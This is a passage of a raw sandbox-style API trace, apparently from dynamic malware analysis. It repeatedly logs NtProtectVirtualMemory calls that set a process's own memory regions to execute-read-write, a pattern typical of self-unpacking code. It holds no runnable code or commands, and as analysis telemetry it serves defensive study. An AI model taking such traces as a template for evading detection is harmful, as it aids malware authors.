NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, 